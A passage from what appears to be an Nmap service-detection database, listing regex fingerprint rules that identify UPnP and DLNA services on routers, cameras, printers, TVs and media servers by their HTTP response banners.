webcam; Linux $1; UPnP $2/ d/webcam/ o/Linux/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 404 Bad Request\r\nCONTENT-LENGTH: 0\r\nCONTENT-TYPE: text/html\r\n\r\n$| p/SuperMicro IPMI UPnP/ cpe:/o:supermicro:intelligent_platform_management_firmware/ match upnp m|^HTTP/1\.1 404 Not Found\r\nDate: .*\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Virata-EmWeb/([-.\w]+)\r\n| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/ReplayTV UPnP; UPnP $1/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\n(?:[^\r\n]+\r\n)*?Server: RomPager/([\w.]+) UPnP/([\w.]+)\r\n\r\n\n.*ZyXEL Prestige Router|s p/Allegro RomPager/ v/$1/ i/ZyXEL Prestige router UPnP; UPnP $2/ d/router/ cpe:/a:allegro:rompager:$1/ match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: NT/([\d.]+) UPnP/([\d.]+)\r\nDate: .*\r\nContent-type: text/html\r\n\r\n\r\n\r\nHotBrick Load Balancer ([-\w_.]+)\r\n| p/NT httpd/ v/$1/ i/HotBrick Load Balancer $3 UPnP; UPnP $2/ d/load balancer/ match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: NT/([\d.]+) UPnP/([\d.]+)\r\nDate: .*\r\nContent-type: text/html\r\n\r\n\r\n\r\nHotBrick Firewall VPN ([-\w_./]+)| p/NT httpd/ v/$1/ i/HotBrick Firewall VPN $3 UPnP; UPnP $2/ d/firewall/ match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nContent-Length: .*\r\n\r\nActiontec\n|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/ActionTec DSL UPnP; UPnP $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\nADSL VPN Firewall Router| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 741GE ADSL router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a cpe:/h:billion:741ge/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\n\nADSL Configuration Page\n| p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Telewell 715 DSL router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a cpe:/h:telewell:715/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDATE: .*\r\nConnection: Keep-Alive\r\nServer: LINUX/([\d.]+) UPnP/([\d.]+) BRCM400/([\d.]+)\r\n| p|Belkin/Linksys wireless router UPnP| i/UPnP $2; BRCM400 $3/ d/router/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\n.*CopperJet ([-\w+/.]+) Router VoATM|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/CopperJet $3 VoATM router UPnP; UPnP $1/ d/router/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/[\d.]+ UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\n.*\nWireless ADSL VPN Firewall Router\n|s p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion BIPAC-743GE V1 ADSL WAP UPnP; UPnP $1/ d/WAP/ match upnp m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Nucleus/([\d.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nLocation: http://[\d.]+/hag/pages/home\.htm\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i|Huawei/Intracom ADSL router UPnP; UPnP $2; Nucleus $1| d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Unknown/0\.0 UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n\nADSL -modem/firewall/switch/WLAN -AP\n| p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Telewell TW-EA2000 ADSL modem UPnP; UPnP $1/ d/WAP/ match upnp m|^HTTP/1\.1 \d\d\d Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Siemens ([\w._ -]+) Router|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Siemens $3 router UPnP; UPnP $1/ d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:siemens:$3/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Zoom - USB Endpoint.*Zoom DSL Modem Web-Console|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Zoom A6 ADSL modem UPnP; UPnP $1/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:zoom:a6/a match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Unknown/0\.0 UPnP/([\d.]+) GlobespanVirata-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nWWW-Authenticate: Basic realm=\"WebAdmin\"\r\n\r\n\n\n\n\n\n\n\nAuthentication failed\n\n\n\n\n| p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Xavi 7768r WAP UPnP; UPnP $1/ d/WAP/ match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/0\.0 UPnP/([\d.]+) Web Server\r\n.*MT882 ADSL Router|s p/Huawei SmartAX MT882 ADSL router UPnP/ i/UPnP $1/ d/broadband router/ cpe:/h:huawei:smartax_mt882/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Nucleus/([-\w_.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nWWW-Authenticate: Basic realm=\"MT882\"\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Huawei SmartAX MT882 ADSL router UPnP; UPnP $2; Nucleus $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a cpe:/h:huawei:smartax_mt882/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nServer: Nucleus/([\d.]+) UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\nWWW-Authenticate: Basic realm=\"Viking\"\r\n\r\n401 Unauthorized\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Viking router UPnP; UPnP $2; Nucleus $1/ d/router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*VoIP/802\.11g ADSL2\+ Firewall Router\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i|Billion ADSL/WAP/VoIP router UPnP; UPnP $1| d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: .*\nHuawei xDSL\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i|Huawei ADSL/WAP/VoIP router UPnP; UPnP $1| d/router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*VoIP/802\.11g ADSL2\+ Firewall Router|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 800VGT ADSL router UPnP; UPnP $1/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a cpe:/h:billion:800vgt/a match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Unknown/0\.0 UPnP/([\d.]+) Virata-EmWeb/R([\d_]+)\r\n.*Wireless ADSL Router Control Panel|s p/Virata-EmWeb/ v/$SUBST(2,"_",".")/ i/Eminent EM4104 WAP UPnP; UPnP $1/ d/WAP/ cpe:/a:virata:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: ISOS/([-\w_.]+) UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n.*Scarlet One|s p/Conexant-EmWeb/ v/$SUBST(3,"_",".")/ i/Scarlet One UPnP; UPnP $2; ISOS $1/ d/VoIP adapter/ cpe:/a:conexant:emweb:$SUBST(3,"_",".")/a match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: ISOS/([-\w_.]+) UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n| p/Conexant-EmWeb/ v/$SUBST(3,"_",".")/ i/ISOS $1; UPnP $2/ d/broadband router/ cpe:/a:conexant:emweb:$SUBST(3,"_",".")/a match upnp m|^HTTP/1\.1 404 Not Found\r\nCONTENT-LENGTH: 48\r\nDATE: .*\r\nSERVER: Linux/6\.0 UPnP/([\d.]+) Intel UPnP/([\d.]+)\r\n\r\n

          404 Not Found

          $| p/Linksys WVC54GC webcam UPnP/ i/UPnP $1; Intel UPnP $2/ d/webcam/ o/Linux/ cpe:/h:linksys:wvc54gc/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 200 OK\r\nServer: Unknown/0\.0 UPnP/([\w._-]+) GlobespanVirata-EmWeb/R([\w._-]+)\r\n.*JetSpeed 500 i|s p/GlobespanVirata-EmWeb/ v/$SUBST(2,"_",".")/ i/Intracom JetSpeed 500i UPnP; UPnP $1/ d/broadband router/ match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Nucleus/([\w._-]+) UPnP/([\w._-]+) Virata-EmWeb/R([\w._-]+)\r\nWWW-Authenticate: Basic realm=\"MT880\"\r\n\r\n\r\n| p/Virata-EmWeb/ v/$SUBST(3,"_",".")/ i/Huawei SmartAX MT880 DSL modem UPnP; UPnP $2; Nucleus $1/ d/broadband router/ cpe:/a:virata:emweb:$SUBST(3,"_",".")/a cpe:/h:huawei:smartax_mt880/a match upnp m|^HTTP/1\.1 400 Bad Request\r\nServer: Linux, UPnP/([\d.]+), (AR\w+) Ver ([\d.]+)\r\n| p/Airlink 101 $2 WAP UPnP/ v/$3/ i/UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*WorkForce ([\w+]+)|s p/Epson WorkForce $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:workforce_$3/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*Artisan ([\w+]+)|s p/Epson Artisan $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:artisan_$3/ cpe:/o:linux:linux_kernel/a match upnp m=^HTTP/1\.1 200 OK\r\n.*SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*(?:Epson )?(Stylus (?:Office |Photo )?\w+)=s p/Epson $3 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:$3/ cpe:/o:linux:linux_kernel/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n.*.*path\.indexOf\(\"/PRESENTATION/HTML/TOP/INDEX\.HTML\", 0\);|s p/Epson Stylus NX230 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:stylus_nx230/ cpe:/o:linux:linux_kernel/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: EPSON_Linux UPnP/([\d.]+) Epson UPnP SDK/([\d.]+)\r\n\r\n\r\n\r\n\r\n\r\n|s p/Epson WorkForce WF-2540 printer UPnP/ i/UPnP $1; Epson UPnP SDK $2/ d/printer/ o/Linux/ cpe:/h:epson:wf-2540/ cpe:/o:linux:linux_kernel/ match upnp m|^HTTP/1\.1 401 Unauthorized\r\nServer: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\nContent-Type: text/html\r\nExpires: Thu, 01 Jan 1970 00:00:00 GMT\r\n(?:[^\r\n]+\r\n)*?WWW-Authenticate: Basic realm=\"WebAdmin\"\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/Billion 740- or 7400-series ADSL router UPnP; UPnP $1/ d/WAP/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 \d\d\d.*Server: Unknown/0\.0 UPnP/([\d.]+) Conexant-EmWeb/R([\d_]+)\r\n|s p/Conexant-EmWeb/ v/$SUBST(2,"_",".")/ i/UPnP $1/ cpe:/a:conexant:emweb:$SUBST(2,"_",".")/a match upnp m|^HTTP/1\.1 511 Not Implemented\r\n\r\n$| p/Netgear WGU624 WAP UPnP/ d/WAP/ cpe:/h:netgear:wgu624/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: PRONET (PN-\w+), UPnP/([\d.]+)\r\nCONTENT-LENGTH: 48\r\nCONTENT-TYPE: text/html\r\n\r\n

          404 Not Found

          $| p/Pronet $1 WAP UPnP/ i/UPnP $2/ d/WAP/ cpe:/h:pronet:$1/ match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Linux/2\.x UPnP/([\w._-]+) Avtech/([\w._-]+)\r\nConnection: close\r\nLast-Modified: .*..\xbe\x40..\xbe..\x03\r\n|s p/Avtech surveillance camera http config/ v/$2/ i/Linux 2.X; UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Linux/2\.x UPnP/([\w._-]+) Avtech/([\w._-]+)\r\nConnection: close\r\nLast-Modified: .*\xb2\xe8\xbe\x1c\xb2\xe8\xbe\x38\x62\x03\r\n| p/Avtech CPCAM surveillance camera http config/ v/$2/ i/Linux 2.X; UPnP $1/ o/Linux/ cpe:/o:linux:linux_kernel:2/ match upnp m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\nServer: RTOS/([\w._-]+) UPnP/([\w._]+) ([\w._-]+)\s*/([\w._-]+)\r\nX-AV-Server-Info: av=5\.0; cn=\"Sony Corporation\"; mn=\"BRAVIA | p/Sony Bravia $3 TV DLNA/ v/$4/ i/UPnP $2/ d/media device/ o/RTOS $1/ cpe:/h:sony:bravia_$3:$4/ cpe:/o:greenhills:rtos:$1/ match upnp m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nDate: .*\r\nX-AV-Client-Info: av=5\.0; cn="Sony Corporation"; mn="BRAVIA (KD-[^"]+)";| p/Sony Bravia $1 TV DLNA/ cpe:/h:sony:bravia_$1/ match upnp m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: \r\nContent-Length: 0\r\nConnection: close\r\n\r\n| p/AllShare UPnP/ o/Bada/ cpe:/o:samsung:bada:1.2/ match upnp m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Linux/i686 UPnP/([\d.]+) DLNADOC/([\d.]+) LGE_DLNA_SDK/([\d.]+)\r\n| p/LG TV upnp/ i/UPnP $1; DLNADOC $2; LGE_DLNA_SDK $3/ o/Linux/ cpe:/o:linux:linux_kernel/a match upnp m|^HTTP/1\.1 \d\d\d .*\r\nSERVER: Linux/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+) INTEL_NMPR/([\w._-]+) LGE_DLNA_SDK/([\w._-]+)\r\n| p/LG LW5700 TV upnp/ i/UPnP $2; DLNADOC $3; INTEL_NMPR $4; LGE_DLNA_SDK $5/ d/media device/ o/Linux $1/ cpe:/h:lg:lw5700/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 500 Internal server error\r\nDATE: .* GMT\r\nSERVER: OpenRG/([\w._-]+) UPnP/([\w._-]+) Actiontec/RG_VERSION\r\nCONNECTION: close\r\n\r\n$| p/Jungo OpenRG upnp/ v/$1/ i/UPnP $2/ # E303s-2, K4201 match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: PACKAGE_VERSION HUAWEI, UPnP, HUAWEI SDK for UPnP devices/ \r\nCONTENT-LENGTH: 48\r\nCONTENT-TYPE: text/html\r\n\r\n

          404 Not Found

          $| p/Huawei broadband router upnp/ d/broadband router/ o/VxWorks/ cpe:/o:huawei:vxworks/ match upnp m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=\"utf-8\"\r\nServer: Linux/([\w._-]+) CyberHTTP/([\d.]+)\r\nContent-Length: 0\r\nDate: .*\r\n\r\n| p/CyberLink upnp/ v/$2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 404 Not Found\r\nDATE: .*\r\nConnection: Keep-Alive\r\nServer: LINUX/([\w._-]+) UPnP/([\d.]+) BRCM400-UPnP/([\d.]+)\r\n| p/Broadcom upnpd/ v/$3/ i/UPnP $2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.1 404 Not Found\r\nServer: NFLC/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+)\r\n| p/NetFront Living Connect upnpd/ v/$1/ i/UPnP $2; DLNADOC $3/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?SERVER: XboxUpnp/([\w._-]+) UPnP/([\w._-]+) Xbox/2\.0\.(\d+)\.0\r\n|s p/Microsoft Xbox 360 upnpd/ v/$1/ i/UPnP $2; Xbox Dashboard 2.0.$3.0/ o/Xbox 360/ cpe:/h:microsoft:xbox_360_kernel:$3/ match upnp m|^HTTP/1\.1 404 Not Found\r\nSERVER: Linux/([\w._-]+) UPnP/([\w._-]+) Motorola-DLNA-Stack-DLNADOC/([\w._-]+)\r\n| p/Motorola DLNA Stack upnpd/ i/UPnP $2; DLNA $3/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: ipos/([\w._-]+) UPnP/([\w._-]+) (RNX-[\w._-]+)/1\.0\r\n| p/ipOS upnpd/ i/Rosewill $3; UPnP $2/ d/broadband router/ o/ipOS $1/ cpe:/h:rosewill:$3/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: ipos/([\w._-]+) UPnP/([\w._-]+) (TL-[\w._-]+)/1\.0\r\n| p/ipOS upnpd/ i/TP-LINK $3; UPnP $2/ d/broadband router/ o/ipOS $1/ cpe:/h:tp-link:$3/ cpe:/o:ubicom:ipos:$1/ match upnp m|^HTTP/1\.1 200 OK\r\n(?:[^\r\n]+\r\n)*?Server: UPnP/([\w._-]+) DLNADOC/([\w._-]+) Allwinnertech/([\w._-]+)\r\n\r\n|s p/AllWinner upnpd/ v/$3/ i/UPnP $1; DLNADOC $2/ match upnp m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html\r\nConnection: close\r\nContent-Length: \d+\r\nServer: Linux (([234]\.[\d.]+)[\w._-]+) DLNADOC/([\w._-]+) UPnP/([\w._-]+) ReadyDLNA/([\w._-]+)\r\n| p/ReadyDLNA/ v/$5/ i/Linux $1; DLNADOC $3; UPnP $4/ o/Linux/ cpe:/o:linux:linux_kernel:$2/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Roteador Wireless (WR\w+), UPnP/([\d.]+)\r\n| p/Intelbras $1 upnpd/ i/UPnP $2/ d/WAP/ match upnp m|^HTTP/1\.0 500 Internal Server Error\r\nContent-Type: text/xml\r\nContent-Language: en\r\nServer: WinRoute ([\w._-]+) UPnP/([\w._-]+) module\r\n| p/Kerio WinRoute UPnP module/ v/$1/ i/UPnP $2/ o/Windows/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.1 (?:[^\r\n]*\r\n(?!\r\n))*?SERVER: IPI/([\w._-]+) UPnP/([\w._-]+) DLNADOC/([\w._-]+)\r\n|s p/IPI Media Renderer upnpd/ v/$1/ i/UPnP $2; DLNADOC $3/ cpe:/a:ip_infusion:media_renderer:$1/ match upnp m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nDate: .*\r\nX-AV-Client-Info: av=5\.0; cn=\"Sony Ericsson\"; mn=\"([^"]+)\"; mv=\"2\.0\";\r\n\r\n| p/Sony Ericsson $1 UPnP AV client/ d/phone/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Wireless [\w+] Router ([\w._-]+), UPnP/1\.0\r\n| p/TP-LINK $1 upnpd/ d/WAP/ cpe:/h:tp-link:$1/ match upnp m|^HTTP/1\.1 200 OK\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .* GMT\r\nRealTimeInfo\.dlna\.org: DLNA\.ORG_TLAG=\*\r\nSERVER: BH\r\n\r\n| p|Osmosys BH/DLNA Media Server| d/media device/ cpe:/a:osmosys:bh_dlna_media_server/ match upnp m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/xml\r\nConnection: close\r\nContent-Length: 127\r\nServer: \w+ Wireless [\w/] Router ([\w-]+), UPnP/1\.0\r\n\r\n404 Not Found

          Not Found

          Invalid device or service descriptor !\r\n\r\n| p/Fast $1 WAP upnpd/ d/WAP/ cpe:/h:fast:$1/ match upnp m=^HTTP/1\.1 400 Bad Request\r\nS(?:ERVER|erver): HDHomeRun/([\w._-]+) UPnP/([\w._-]+)\r\n= p/SiliconDust HDHomeRun set top box upnpd/ v/$1/ i/UPnP $2/ d/media device/ cpe:/h:silicondust:hdhomerun/ match upnp m|^HTTP/1\.0 404 Not Found\r\nSERVER: Linux/([\w._-]+) UPnP/([\d.]+) NDS_MHF DLNADOC/([\d.]+)\r\n\r\n| p/Samsung UPC Horizon TV upnpd/ i/Linux $1; UPnP $2; DLNADOC $3/ d/media device/ o/Linux/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Content-type: text/html\r\nServer: Linux UPnP/([\d.]+) Sonos/([\w._-]+) \(([^)]+)\)\r\nConnection: close\r\n\r\n|s p/Sonos upnpd/ v/$2/ i/UPnP $1; model $3/ o/Linux/ cpe:/o:linux:linux_kernel/a # formerly XBMC match upnp m|^HTTP/1\.1 (?:[^\r\n]*\r\n(?!\r\n))*?Server: UPnP/([\d.]+) DLNADOC/([\d.]+) Kodi\r\n|s p/Kodi upnpd/ i/UPnP $1; DLNADOC $2/ match upnp m=^HTTP/1\.1 404 Not Found\r\nSERVER: Linux/((2\.[46]\.\d+|\d\.\d+)\S*) UPnP/([\d.]+) DiXiM/([\d.]+)\r\n= p/DiXiM upnpd/ v/$4/ i/UPnP $3; Linux $1/ o/Linux/ cpe:/a:digion:dixim_media_player:$4/ cpe:/o:linux:linux_kernel:$2/ match upnp m=HTTP/1\.0 404 Not Found\r\nSERVER: TP-LINK (?:Portable )?Wireless (?:(?:Lite )?(?:N|G) (?:3G(?:/4G)? )?)?(?:Dual Band |Nano )?(?:Gigabit )?(?:AP|Router|Access Point|Range Extender) ([\w /+-]+), UPnP/([\d.]+)\r\n= p/TP-LINK $1 WAP upnpd/ i/UPnP $2/ d/WAP/ cpe:/h:tp-link:$1/a match upnp m|^HTTP/1\.1 400 Bad Request\r\nServer: Linux, UPnP/([\d.]+), (DAP-\d+) Ver ([\d.]+)\r\n| p/D-Link $2 WAP upnpd/ v/$3/ i/UPnP $1/ cpe:/h:dlink:$2/a match upnp m|^HTTP/1\.1 412 Precondition Failed\r\nDate: .*\r\nContent-Length: 0\r\nConnection: close\r\nServer: ([^,]+), UPnP/([\d.]+) DLNADOC/([\d.]+), KooRaRoo Media Server/([\d.]+)\r\n\r\n| p/KooRaRoo upnpd/ v/$4/ i/UPnP $2; DLNADOC $3/ o/$1/ cpe:/a:shv-tal:kooraroo:$4/ # Unsure of device type, have seen this one on P6 phone. match upnp m|^HTTP/1\.1 400 Bad Request\r\nSERVER: Linux/([\d.]+)-\w+-\w+ UPnP/([\d.]+) HUAWEI_iCOS/iCOS V1R1C00\r\nCONNECTION: close\r\nCONTENT-LENGTH: 50\r\nCONTENT-TYPE: text/html\r\n\r\n

          400 Bad Request

          | p/Huawei iCOS upnpd/ i/UPnP $2/ o/Linux $1/ cpe:/o:linux:linux_kernel:$1/a match upnp m|^HTTP/1\.0 400 Bad Request \r\nCONTENT-TYPE: text/xml; charset="utf-8" \r\nSERVER: UPnP/([\d.]+) Samsung AllShare Server/([\d.]+) \r\nCONTENT-LENGTH: \d+ \r\n\r\n| p/Samsung AllShare upnpd/ v/$2/ i/UPnP $1/ cpe:/a:samsung:allshare_server:$2/ match upnp m|^HTTP/1\.1 \d\d\d .*\r\nCONTENT-TYPE: text/xml; charset="utf-8"\r\nDATE: .*\r\nEXT: \r\nSERVER: UPnP/([\d.]+) AwoX/([\d.]+)\r\nCONTENT-LENGTH: 0\r\n| p/AwoX upnpd/ v/$2/ i/UPnP $1/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: TP-LINK SMB (TL-[\w]+), UPnP/([\d.]+)\r\nCONTENT-LENGTH: \d+\r\nCONTENT-TYPE: text/html\r\n\r\n| p/TP-LINK upnpd/ i/model: $1; UPnP $2/ cpe:/h:tp-link:$1/ match upnp m|^HTTP/1\.0 \d\d\d .*\r\nSERVER: AIT Multimedia Network Solution, UPnP/([\d.]+) devices/([\d.]+)\r\n| p/AIT Multimedia Network Solution/ v/$2/ i/UPnP $1; Polaroid Cube camera/ match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): (Windows_[^-]+)_(R\d+)-([^-]+)-[\d.]+, UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$5/ i/arch: $3; UPnP $4/ o/$SUBST(1,"_"," ") $2/ cpe:/a:universal_media_server:universal_media_server:$5/ cpe:/o:microsoft:$1:$2/ match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): (Windows_[^-]+)-([^-]+)-[\d.]+, UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $2; UPnP $3/ o/$SUBST(1,"_"," ")/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:microsoft:$1/ match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Linux-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $1; UPnP $3/ o/Linux $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:linux:linux_kernel:$2/a match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Linux-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+) DLNADOC/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$5/ i/arch: $1; UPnP $3; DLNADOC $4/ o/Linux $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:linux:linux_kernel:$2/a match upnp m=^HTTP/1\.1 200 OK\r.*\nS(?:erver|ERVER): Mac_OS_X-([^-]+)-(\d.[\w._-]+), UPnP/([\d.]+), UMS/([\d.]+)\r\n=s p/Universal Media Server/ v/$4/ i/arch: $1; UPnP $3/ o/Mac OS X $2/ cpe:/a:universal_media_server:universal_media_server:$4/ cpe:/o:apple:mac_os_x:$2/ match upnp m|^HTTP/1\.1 412 Failed\r\nServer: WINDOWS UPnP/([\d.]+) Intel MicroStack/([\d.]+)\r\nContent-Length: 0\r\n\r\n| p/Intel Developer Tools for UPnP upnpd/ v/$2/ i/UPnP $1/ o/Windows/ cpe:/a:intel:developer_tools_for_upnp:$2/ cpe:/o:microsoft:windows/a match upnp m|^HTTP/1\.1 200 OK\r\nDate: Sun, 31 Jul 2016 13:02:01 GMT\r\nServer: Linux/([ix][\w_]+) UPnP/([\d.]+) SST/1\.0 /\r\n| p/LG SST Device upnpd/ 